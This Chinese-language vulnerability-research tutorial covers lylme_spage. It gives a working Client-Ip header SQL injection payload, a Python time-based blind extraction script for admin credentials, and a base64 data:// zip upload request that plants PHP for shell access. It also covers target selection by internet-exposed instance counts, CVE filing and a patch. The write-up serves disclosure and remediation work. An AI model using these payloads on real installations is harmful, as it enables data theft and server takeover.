开源项目CVE详细指南: 从SQL注入到Shell的完整探索
字数 1945 2025-08-20 18:18:40
开源项目CVE挖掘实战指南:从SQL注入到GetShell的完整流程
1. 背景与目标
1.1 背景概述
- CVE(Common Vulnerabilities and Exposures)是通用漏洞披露系统
- 获取高质量的CVE编号对安全研究人员具有重要意义
- 本文以开源项目
lylme_spage为例,展示完整漏洞挖掘流程
1.2 目标筛选标准
- GitHub Star ≥ 300
- Fofa/Hunter搜索独立IP ≥ 500
- 项目代码质量适中(非明显靶场类代码)
- 优先选择前台可直接利用的高危漏洞(如RCE、代码执行)
2. 目标项目分析
2.1 项目概况
- 项目名称:lylme_spage(导航类网站)
- GitHub数据:Star 313,Fork 72
- 网络资产:Fofa独立IP 800+,有效资产2400+
2.2 鉴权机制分析
- 后台目录:/admin
- 关键鉴权变量:
$islogin - 鉴权方式:
- 直接判断:
admin/ajax_link.php等文件直接检查$islogin - 间接判断:通过
head.php文件引入鉴权逻辑
- 直接判断:
2.3 鉴权绕过尝试
-
查找未鉴权文件:
grep -v --include "*php*" -rl 'isset($islogin)' ./admin grep --include "*php*" -rL 'isset($islogin)' ./admin | xargs -I {} grep -n -L 'head.php' {}结果:仅找到
admin/cache.php和admin/footer.php,无利用价值 -
逻辑绕过分析:
- 关键鉴权代码位于
include/member.php - 基于
$_COOKIE["admin_token"]验证 - 存在弱类型比较(
==而非===),但利用条件苛刻
- 关键鉴权代码位于
3. 前台SQL注入漏洞挖掘
3.1 漏洞定位
- 漏洞文件:
apply/index.php - 关键函数调用:
apply($_POST['name'], $_POST['url'], $_POST['icon'], $_POST['group_id'], $status)
3.2 注入点分析
- SQL语句构造:
$sql = "INSERT INTO `lylme_apply` (...) VALUES (NULL, '".$name.url.group_id.icon.userip.date.status."');"; - 可控变量:
$userip(来自get_real_ip()函数)
3.3 注入利用链
-
IP获取函数分析:
function get_real_ip() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { // 只取第一个IP } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $real_ip = $_SERVER['HTTP_CLIENT_IP']; } return $real_ip; }- 可利用
Client-Ip头完全控制IP值
- 可利用
-
注入验证:
- 请求示例:
POST /lylme_spage-master/apply/index.php?submit=post HTTP/1.1 Host: localhost:7777 Client-Ip: 127.0.0.1' - 单引号报错,双引号正常,确认注入存在
- 请求示例:
3.4 注入利用限制与绕过
-
限制因素:
- INSERT类型注入
- 使用
mysqli_query,不支持多语句 - 验证码校验(但可复用)
- URL不能重复
-
利用技巧:
- 使用
exp(999)结合if条件实现报错注入 - 示例Payload:
Client-Ip:0'>if(ord(substring(user(),1,1))=114,sleep(5)&exp(999),exp(999))>'
- 使用
3.5 自动化利用脚本
def exploit(target, cookie, authcode, timeout=5):
origin_payload = "select group_concat(v) from lylme_config where k like 'admin%'"
# 获取长度
length_payload = f"length(({origin_payload}))"
# 延时5s
if timeout < 1:
timeout += 1
length = 0
while True:
length += 1
final_length_payload = f"0'>if({length_payload}={(length)},sleep({timeout})&exp(999),exp(999))>'"
print(f"[*] Trying Length: {length}")
r1 = post(target, cookie, authcode, final_length_payload)
if r1.elapsed.total_seconds() > timeout - 1:
break
# 获取数据...
4. 后台任意文件上传GetShell
4.1 漏洞定位
- 漏洞文件:
admin/ajax_link.php - 关键代码:
$RemoteFile = $_POST['file']; copy($RemoteFile, $LocalFile); $zip = new ZipArchive; $zip->open($LocalFile); $zip->extractTo('../');
4.2 利用步骤
-
创建恶意zip文件:
echo '<?php phpinfo();?>' > 1.php zip 1.php.zip 1.php -
构造base64 payload:
import zipfile, base64, io zip_data = io.BytesIO() with zipfile.ZipFile(zip_data, 'w') as zipf: zipf.writestr("1.php", "<?php phpinfo();?>") zip_data.seek(0) payload = "data://text/plain;base64," + base64.b64encode(zip_data.read()).decode() -
发送恶意请求:
POST /lylme_spage-master/admin/ajax_link.php?submit=update HTTP/1.1 Host: localhost:7777 Content-Type: application/x-www-form-urlencoded file=data://text/plain;base64,UEsDBBQAAAAIALMUSFdQg8x9EgAAABIAAAAFAAAAMS5waHCzsS/IKFAA4sy8tHwNTWt7OwBQSwECFAMUAAAACACzFEhXUIPMfRIAAAASAAAABQAAAAAAAAAAAAAAgAEAAAAAMS5waHBQSwUGAAAAAAEAAQAzAAAANQAAAAAA
5. CVE申请流程
5.1 准备工作
-
在GitHub提交Issue:
- 包含复现步骤、预期行为、实际行为、受影响版本、修复建议
- 示例Issue:https://github.com/LyLme/lylme_spage/issues/32
-
准备英文报告(推荐使用DeepL翻译)
5.2 CVE申请步骤
- 访问CVE提交平台:https://cveform.mitre.org
- 填写申请表:
- Request type: Report Vulnerability/Request CVE ID
- 填写漏洞类型、影响组件、攻击向量等信息
- 提供漏洞描述模板:
A vulnerability has been found in [lylme_spage v1.7.0] and classified as [critical]. Affected by this vulnerability is the file [/include/function.php]. The manipulation of [the HTTP Header Client-Ip] leads to [sql injection]. The attack can be launched remotely. CWE Definition of the Vulnerability [CWE-89].
- 提交后等待审核(约8天)
5.3 最终成果
- 分配CVE编号:CVE-2023-45951、CVE-2023-45952
- NVD评分:9.8(高危)
6. 漏洞修复与PR提交
6.1 修复方案
function get_real_ip() {
// ...原有代码...
if (filter_var($real_ip, FILTER_VALIDATE_IP)) {
return $real_ip;
} else {
return "";
}
}
6.2 PR提交步骤
- Fork目标仓库
- 创建修复分支:
git checkout -b bugfix git add include/function.php git commit -m "验证IP合法性,防止SQL注入" git push --set-upstream origin bugfix - 在GitHub提交Pull Request
- 等待项目维护者合并
7. 关键知识点总结
- 项目筛选:选择Star≥300、独立IP≥500的开源项目
- 审计技巧:
- 优先审计前台无需认证的功能
- 关注用户可控的输入点(如HTTP头、POST参数)
- SQL注入利用:
- INSERT注入的特殊利用方式
exp(999)在条件判断中的妙用
- 文件上传绕过:
- 利用PHP伪协议(data://)
- 内存中生成恶意zip文件
- CVE申请:
- 规范的漏洞描述模板
- 完整的复现步骤证明
- 修复建议:
- 输入验证(如
filter_var) - 最小权限原则
- 输入验证(如
8. 参考资源
- CVE官网:https://cve.mitre.org
- NVD数据库:https://nvd.nist.gov
- DeepL翻译:https://www.deepl.com
- CVE申请表单:https://cveform.mitre.org